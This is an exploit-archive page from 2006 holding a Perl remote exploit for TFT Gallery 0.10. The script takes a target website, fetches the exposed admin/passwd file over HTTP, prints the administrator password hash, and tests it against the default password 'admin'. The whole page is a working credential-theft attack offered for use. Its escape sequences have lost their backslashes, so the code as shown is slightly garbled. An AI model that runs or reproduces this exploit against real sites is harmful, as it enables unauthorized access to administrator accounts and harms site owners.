[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : TFT Gallery <= 0.10 [Password Disclosure] Remote Exploit
# Published : 2006-03-25
# Author : undefined1_
# Previous Title : phpBookingCalendar <= 1.0c [details_view.php] Remote SQL Injection
# Next Title : XHP CMS <= 0.5 (upload) Remote Command Execution Exploit


#!/usr/bin/perl

###############################################################################
#Copyright (C) undefined1_
#
#This program is free software; you can redistribute it and/or
#modify it under the terms of the GNU General Public License
#as published by the Free Software Foundation; either version 2
#of the License, or (at your option) any later version.
#
#This program is distributed in the hope that it will be useful,
#but WITHOUT ANY WARRANTY; without even the implied warranty of
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#GNU General Public License for more details.
#
#You should have received a copy of the GNU General Public License
#along with this program; if not, write to the Free Software
#Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
#
###############################################################################

use strict; 
use IO::Socket;

$| = 1;
printf ":: tftgallery 0.10 exploit - by undefined1_ @ bash-x.net/undef/ ::nnn";


my $website = shift || usage();

my $path = "/";
my $site = $website;
if(index($website, "/") != -1)
{
	my $index = index($website, "/");
	$path = substr($website, $index);
	$site = substr($website, 0, $index);
	if(substr($path, length($path)-1) ne "/")
	{
		$path .= "/";
	}
}


my $eop = "rnHost: $sitern";
$eop .= "User-Agent: Mozilla/5.0rn";
$eop .= "Connection: closernrn";


my $packet1 = "GET ".$path."admin/passwd HTTP/1.1";
my $data = sendpacket($site, $packet1.$eop);

if($data !~ /HTTP/1.1 200 OK/)
{
	die "failed to retrieve the admin passwordn";
}

my $password = "";
if (index($data, "rnrn") != -1)
{
	$password = substr($data, index($data, "rnrn")+4);
	chomp $password;
}
else
{
	die "failed to retrieve the admin passwordn";
}

print "The password hash is: '$password'n";
if(crypt("admin","tftgallery") eq $password)
{
	print "The plaintext password is: 'admin'n";		
}
else
{
	die "Use john the ripper, luke!n";
}




sub sendpacket($,$) {
	my $server = shift;
	my $request = shift;

	my $sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $server, PeerPort => "80") or die "[-] Could not connect to $server:80 $!n";
	print $sock "$request";

	
	my $data = "";
	my $answer;
	while($answer = <$sock>)
	{
		$data .= $answer;
	}
	
	close($sock);
	return $data;
}

sub usage() {
	printf "usage: %s <website> [password]n", $0;
	printf "ex. : %s www.site.com/tftgallery/n", $0;
	exit;
}

# www.Syue.com [2006-03-25]